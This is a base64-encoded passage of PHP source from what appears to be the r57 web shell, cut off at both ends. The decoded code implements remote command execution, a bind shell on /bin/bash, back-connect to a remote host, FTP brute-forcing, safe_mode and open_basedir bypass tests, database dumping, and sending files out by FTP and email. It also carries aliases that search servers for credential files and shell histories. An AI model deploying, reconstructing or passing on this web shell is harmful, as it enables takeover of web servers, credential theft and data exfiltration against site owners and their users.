7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gQGV4cGxvZGUoIjoiLCRjcHVmWyRpXSk7DQogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0NCiAgICAgICAgICAkciAuPSAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICB9DQogICAgICBlY2hvICRyOw0KICAgIH0NCiAgIGVsc2UNCiAgICB7DQogICAgICBlY2hvICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0KICAgIH0NCiAgIGVjaG8gJzwvdGFibGU+JzsNCiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnbWVtJ10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkbWVtZiA9IEBmaWxlKCJtZW1pbmZvIik7DQogICBpZigkbWVtZikNCiAgICB7DQogICAgICAkYyA9IHNpemVvZigkbWVtZik7DQogICAgICBmb3IoJGk9MDskaTwkYzskaSsrKQ0KICAgICAgICB7DQogICAgICAgICAgJGluZm8gPSBleHBsb2RlKCI6IiwkbWVtZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZGllKCk7DQogfQ0KJGxhbmc9YXJyYXkoDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCidlbmdfdGV4dDEnID0+J0V4ZWN1dGVkIGNvbW1hbmQnLA0KJ2VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsDQonZW5nX3RleHQzJyA9PidSdW4gY29tbWFuZCcsDQonZW5nX3RleHQ0JyA9PidXb3JrIGRpcmVjdG9yeScsDQonZW5nX3RleHQ1JyA9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywNCidlbmdfdGV4dDYnID0+J0xvY2FsIGZpbGUnLA0KJ2VuZ190ZXh0NycgPT4nQWxpYXNlcycsDQonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLA0KJ2VuZ19idXR0MScgPT4nRXhlY3V0ZScsDQonZW5nX2J1dHQyJyA9PidVcGxvYWQnLA0KJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsDQonZW5nX3RleHQxMCc9PidQb3J0JywNCidlbmdfdGV4dDExJz0+J1Bhc3N3b3JkIGZvciBhY2Nlc3MnLA0KJ2VuZ19idXR0MycgPT4nQmluZCcsDQonZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLA0KJ2VuZ190ZXh0MTMnPT4nSVAnLA0KJ2VuZ190ZXh0MTQnPT4nUG9ydCcsDQonZW5nX2J1dHQ0JyA9PidDb25uZWN0JywNCidlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTYnPT4nV2l0aCcsDQonZW5nX3RleHQxNyc9PidSZW1vdGUgZmlsZScsDQonZW5nX3RleHQxOCc9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywNCidlbmdfdGV4dDIwJz0+J1VzZScsDQonZW5nX3RleHQyMSc9PicmbmJzcDtOZXcgbmFtZScsDQonZW5nX3RleHQyMic9PidkYXRhcGlwZScsDQonZW5nX3RleHQyMyc9PidMb2NhbCBwb3J0JywNCidlbmdfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywNCidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywNCidlbmdfdGV4dDI2Jz0+J1VzZScsDQonZW5nX2J1dHQ1JyA9PidSdW4nLA0KJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLA0KJ2VuZ190ZXh0MjknPT4nQUNDRVNTIERFTklFRCcsDQonZW5nX2J1dHQ2JyA9PidDaGFuZ2UnLA0KJ2VuZ190ZXh0MzAnPT4nQ2F0IGZpbGUnLA0KJ2VuZ19idXR0NycgPT4nU2hvdycsDQonZW5nX3RleHQzMSc9PidGaWxlIG5vdCBmb3VuZCcsDQonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywNCidlbmdfdGV4dDMzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciB3aXRoIGNVUkwgZnVuY3Rpb25zJywNCidlbmdfYnV0dDgnID0+J1Rlc3QnLA0KJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW5jdGlvbicsDQonZW5nX3RleHQzNSc9PidUZXN0IGJ5cGFzcyB3aXRoIGxvYWQgZmlsZSBpbiBteXNxbCAtIGVkaXRlZCBieSBBbHVjYXInLA0KJ2VuZ190ZXh0MzYnPT4nRGIgLiBUYWJsZScsDQonZW5nX3RleHQzNyc9PidMb2dpbicsDQonZW5nX3RleHQzOCc9PidQYXNzd29yZCcsDQonZW5nX3RleHQzOSc9PidEYXRhYmFzZScsDQonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywNCidlbmdfYnV0dDknID0+J0R1bXAnLA0KJ2VuZ190ZXh0NDEnPT4nU2F2ZSBkdW1wIGluIGZpbGUnLA0KJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsDQonZW5nX3RleHQ0Myc9PidGaWxlIGZvciBlZGl0JywNCidlbmdfYnV0dDEwJz0+J1NhdmUnLA0KJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLA0KJ2VuZ190ZXh0NDUnPT4nRmlsZSBzYXZlZCcsDQonZW5nX3RleHQ0Nic9PidTaG93IHBocGluZm8oKScsDQonZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLA0KJ2VuZ190ZXh0NDgnPT4nRGVsZXRlIHRlbXAgZmlsZXMnLA0KJ2VuZ19idXR0MTEnPT4nRWRpdCBmaWxlJywNCidlbmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLA0KJ2VuZ190ZXh0NTAnPT4nVmlldyBjcHUgaW5mbycsDQonZW5nX3RleHQ1MSc9PidWaWV3IG1lbW9yeSBpbmZvJywNCidlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsDQonZW5nX3RleHQ1Myc9PidJbiBkaXJzJywNCidlbmdfdGV4dDU0Jz0+J0ZpbmQgdGV4dCBpbiBmaWxlcycsDQonZW5nX2J1dHQxMic9PidGaW5kJywNCidlbmdfdGV4dDU1Jz0+J09ubHkgaW4gZmlsZXMnLA0KJ2VuZ190ZXh0NTYnPT4nTm90aGluZyA6KCcsDQonZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywNCidlbmdfdGV4dDU4Jz0+J25hbWUnLA0KJ2VuZ190ZXh0NTknPT4nZmlsZScsDQonZW5nX3RleHQ2MCc9PidkaXInLA0KJ2VuZ19idXR0MTMnPT4nQ3JlYXRlL0RlbGV0ZScsDQonZW5nX3RleHQ2MSc9PidGaWxlIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjMnPT4nRmlsZSBkZWxldGVkJywNCidlbmdfdGV4dDY0Jz0+J0RpciBkZWxldGVkJywNCidlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsDQonZW5nX3RleHQ2Nic9PidEZWxldGUnLA0KJ2VuZ190ZXh0NjcnPT4nQ2hvd24vQ2hncnAvQ2htb2QnLA0KJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsDQonZW5nX3RleHQ2OSc9PidwYXJhbTEnLA0KJ2VuZ190ZXh0NzAnPT4ncGFyYW0yJywNCidlbmdfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLA0KJ2VuZ190ZXh0NzInPT4nVGV4dCBmb3IgZmluZCcsDQonZW5nX3RleHQ3Myc9PidGaW5kIGluIGZvbGRlcicsDQonZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywNCidlbmdfdGV4dDc1Jz0+JyogeW91IGNhbiB1c2UgcmVnZXhwJywNCidlbmdfdGV4dDc2Jz0+J1NlYXJjaCB0ZXh0IGluIGZpbGVzIHZpYSBmaW5kJywNCidlbmdfdGV4dDgwJz0+J1R5cGUnLA0KJ2VuZ190ZXh0ODEnPT4nTmV0JywNCidlbmdfdGV4dDgyJz0+J0RhdGFiYXNlcycsDQonZW5nX3RleHQ4Myc9PidSdW4gU1FMIHF1ZXJ5JywNCidlbmdfdGV4dDg0Jz0+J1NRTCBxdWVyeScsDQonZW5nX3RleHQ4NSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBjb21tYW5kcyBleGVjdXRlIHZpYSBNU1NRTCBzZXJ2ZXInLA0KJ2VuZ190ZXh0ODYnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLA0KJ2VuZ19idXR0MTQnPT4nRG93bmxvYWQnLA0KJ2VuZ190ZXh0ODcnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSByZW1vdGUgZnRwLXNlcnZlcicsDQonZW5nX3RleHQ4OCc9PidGVFAtc2VydmVyOnBvcnQnLA0KJ2VuZ190ZXh0ODknPT4nRmlsZSBvbiBmdHAnLA0KJ2VuZ190ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsDQonZW5nX3RleHQ5MSc9PidBcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Mic9Pid3aXRob3V0IGFyY2hpdmF0aW9uJywNCidlbmdfdGV4dDkzJz0+J0ZUUCcsDQonZW5nX3RleHQ5NCc9PidGVFAtYnJ1dGVmb3JjZScsDQonZW5nX3RleHQ5NSc9PidVc2VycyBsaXN0JywNCidlbmdfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nyc9PidjaGVja2VkOiAnLA0KJ2VuZ190ZXh0OTgnPT4nc3VjY2VzczogJywNCidlbmdfdGV4dDk5Jz0+JyogdXNlIHVzZXJuYW1lIGZyb20gL2V0Yy9wYXNzd2QgZm9yIGZ0cCBsb2dpbiBhbmQgcGFzc3dvcmQnLA0KJ2VuZ190ZXh0MTAwJz0+J1NlbmQgZmlsZSB0byByZW1vdGUgZnRwIHNlcnZlcicsDQonZW5nX3RleHQxMDEnPT4nVXNlIHJldmVyc2UgKHVzZXIgLT4gcmVzdSkgbG9naW4gZm9yIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMic9PidNYWlsJywNCidlbmdfdGV4dDEwMyc9PidTZW5kIGVtYWlsJywNCidlbmdfdGV4dDEwNCc9PidTZW5kIGZpbGUgdG8gZW1haWwnLA0KJ2VuZ190ZXh0MTA1Jz0+J1RvJywNCidlbmdfdGV4dDEwNic9PidGcm9tJywNCidlbmdfdGV4dDEwNyc9PidTdWJqJywNCidlbmdfYnV0dDE1Jz0+J1NlbmQnLA0KJ2VuZ190ZXh0MTA4Jz0+J01haWwnLA0KJ2VuZ190ZXh0MTA5Jz0+J0hpZGUnLA0KJ2VuZ190ZXh0MTEwJz0+J1Nob3cnLA0KJ2VuZ190ZXh0MTExJz0+J1NRTC1TZXJ2ZXIgOiBQb3J0JywNCidlbmdfdGV4dDExMic9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBmdW5jdGlvbiBtYl9zZW5kX21haWwnLA0KJ2VuZ190ZXh0MTEzJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBkaXIgbGlzdCB2aWEgaW1hcF9saXN0JywNCidlbmdfdGV4dDExNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBpbWFwX2JvZHknLA0KJ2VuZ190ZXh0MTE1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgY29weSBmaWxlIHZpYSBjb21wcmVzcy56bGliOi8vIGluIGZ1bmN0aW9uIGNvcHkoKScsDQonZW5nX3RleHQxMTYnPT4nQ29weSBmcm9tJywNCidlbmdfdGV4dDExNyc9Pid0bycsDQonZW5nX3RleHQxMTgnPT4nRmlsZSBjb3BpZWQnLA0KJ2VuZ190ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywNCidlbmdfdGV4dDEyMCc9PidTUUwtU2VydmVyJywNCidlbmdfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGluIGZpbGUgJywNCidlbmdfZXJyMSc9PidFcnJvciEgQ2FuXCd0IHJlYWQgZmlsZSAnLA0KJ2VuZ19lcnIyJz0+J0Vycm9yISBDYW5cJ3QgY3JlYXRlICcsDQonZW5nX2VycjMnPT4nRXJyb3IhIENhblwndCBjb25uZWN0IHRvIGZ0cCcsDQonZW5nX2VycjQnPT4nRXJyb3IhIENhblwndCBsb2dpbiBvbiBmdHAgc2VydmVyJywNCidlbmdfZXJyNSc9PidFcnJvciEgQ2FuXCd0IGNoYW5nZSBkaXIgb24gZnRwJywNCidlbmdfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsDQonZW5nX2VycjcnPT4nTWFpbCBzZW5kJywNCik7DQovKg0KPz8/Pz8/ID8/Pz8/Pw0KPz8/Pz8/Pz8/ID8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/ID8gPz8/LT8/ID8/Pz8/Py4gKCA/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8/ICkNCj8/ID8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Py4NCiovDQokYWxpYXNlcz1hcnJheSgNCidmaW5kIHN1aWQgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnLA0KJ2ZpbmQgc2dpZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywNCidmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycsDQonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcsDQonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcsDQonZmluZCBjb25maWcqIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICJjb25maWcqIicsDQonZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lICJjb25maWcqIicsDQonZmluZCBhbGwgd3JpdGFibGUgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzJz0+J2ZpbmQgLyAgLXR5cGUgZCAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzJz0+J2ZpbmQgLyAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCcsDQonZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCcsDQonZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsDQonZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJywNCidmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknLA0KJ2ZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5JywNCidmaW5kIGFsbCAubXlzcWxfaGlzdG9yeSBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScsDQonZmluZCAubXlzcWxfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScsDQonZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsDQonZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJywNCidsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSc9Pidsc2F0dHIgLXZhJywNCidzaG93IG9wZW5lZCBwb3J0cyc9PiduZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuJywNCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+J2xzIC1sYScNCik7DQokdGFibGVfdXAxICA9ICI8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaw0KPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgY2xhc3M9dHQgYWxpZ249Y2VudGVyPjo6ICI7DQokdGFibGVfdXAyICA9ICIgOjo8L2Rpdj48L2I+PC9mb250PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPW1haW4+IjsNCiR0YWJsZV91cDMgID0gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPUJsYWNrPjx0cj48dGQgY2xhc3M9bWFpbj4iOw0KJHRhYmxlX2VuZDEgPSAiPC90ZD48L3RyPiI7DQokYXJyb3cgPSAiIDxmb250IGZhY2U9V2ViZGluZ3MgY29sb3I9V2hpdGU+NDwvZm9udD4iOw0KJGxiID0gIjxmb250IGNvbG9yPVdoaXRlPls8L2ZvbnQ+IjsNCiRyYiA9ICI8Zm9udCBjb2xvcj1XaGl0ZT5dPC9mb250PiI7DQokZm9udCA9ICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iOw0KJHRzID0gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCiR0ZSA9ICI8L3RhYmxlPiI7DQokZnMgPSAiPGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQokZmUgPSAiPC9mb3JtPiI7DQoNCmlmKGlzc2V0KCRfR0VUWyd1c2VycyddKSkNCiB7DQogaWYoISR1c2Vycz1nZXRfdXNlcnMoKSkgeyBlY2hvICI8Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvZm9udD48L2NlbnRlcj4iOyB9DQogZWxzZQ0KICB7DQogIGVjaG8gJzxjZW50ZXI+JzsNCiAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpIHsgZWNobyAkdXNlci4iPGJyPiI7IH0NCiAgZWNobyAnPC9jZW50ZXI+JzsNCiAgfQ0KIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOw0KIH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2RpciddKSkgeyBAY2hkaXIoJF9QT1NUWydkaXInXSk7IH0NCiRkaXIgPSBAZ2V0Y3dkKCk7DQokdW5peCA9IDA7DQppZihzdHJsZW4oJGRpcik+MSAmJiAkZGlyWzFdPT0iOiIpICR1bml4PTA7IGVsc2UgJHVuaXg9MTsNCmlmKGVtcHR5KCRkaXIpKQ0KIHsNCiAkb3MgPSBnZXRlbnYoJ09TJyk7DQogaWYoZW1wdHkoJG9zKSl7ICRvcyA9IHBocF91bmFtZSgpOyB9DQogaWYoZW1wdHkoJG9zKSl7ICRvcyA9Ii0iOyAkdW5peD0xOyB9DQogZWxzZQ0KICAgIHsNCiAgICBpZihAZXJlZ2koIl53aW4iLCRvcykpIHsgJHVuaXggPSAwOyB9DQogICAgZWxzZSB7ICR1bml4ID0gMTsgfQ0KICAgIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydzX2RpciddKSAmJiAhZW1wdHkoJF9QT1NUWydzX3RleHQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gInNlYXJjaF90ZXh0IikNCiAgew0KICAgIGVjaG8gJGhlYWQ7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsnc19tYXNrJ10pICYmICFlbXB0eSgkX1BPU1RbJ20nXSkpIHsgJHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTsgfQ0KICAgIGVsc2UgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddKTsgfQ0KICAgICRzci0+U2VhcmNoVGV4dCgwLDApOw0KICAgICRyZXMgPSAkc3ItPkdldFJlc3VsdEZpbGVzKCk7DQogICAgJGZvdW5kID0gJHNyLT5HZXRNYXRjaGVzQ291bnQoKTsNCiAgICAkdGl0bGVzID0gJHNyLT5HZXRUaXRsZXMoKTsNCiAgICAkciA9ICIiOw0KICAgIGlmKCRmb3VuZCA+IDApDQogICAgew0KICAgICAgJHIgLj0gIjxUQUJMRSB3aWR0aD0xMDAlPiI7DQogICAgICBmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KQ0KICAgICAgew0KICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbiBjb2xzcGFuPTI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii53cygzKTsNCiAgICAgICAgJHIgLj0gKCEkdW5peCk/IHN0cl9yZXBsYWNlKCIvIiwiXFwiLCRmaWxlKSA6ICRmaWxlOw0KICAgICAgICAkciAuPSAiPC9iPjwvZm9udD48LyBURD4iOw0KICAgICAgICAkciAuPSAiPC9UUj4iOw0KICAgICAgICBmb3JlYWNoKCR2IGFzICRhPT4kYikNCiAgICAgICAgew0KICAgICAgICAgICRyIC49ICI8VFI+IjsNCiAgICAgICAgICAkciAuPSAiPFREIGNsYXNzPW1haW4gYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGEuIjwvZm9udD48L0I+PC9URD4iOw0KICAgICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLndzKDIpLiRiLiI8L2ZvbnQ+PC9URD4iOw0KICAgICAgICAgICRyIC49ICI8L1RSPlxuIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHIgLj0gIjwvVEFCTEU+IjsNCiAgICBlY2hvICRyOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgZWNobyAiPFAgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7DQogICAgfQ0KICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICBkaWUoKTsNCiAgfQ0KaWYoISRzYWZlX21vZGUgJiYgc3RycG9zKGV4KCJlY2hvIGFiY3I1NyIpLCJyNTciKSE9MykgeyAkc2FmZV9tb2RlID0gMTsgfQ0KJFNFUlZFUl9TT0ZUV0FSRSA9IGdldGVudignU0VSVkVSX1NPRlRXQVJFJyk7DQppZihlbXB0eSgkU0VSVkVSX1NPRlRXQVJFKSl7ICRTRVJWRVJfU09GVFdBUkUgPSAiLSI7IH0NCmZ1bmN0aW9uIHdzKCRpKQ0Kew0KcmV0dX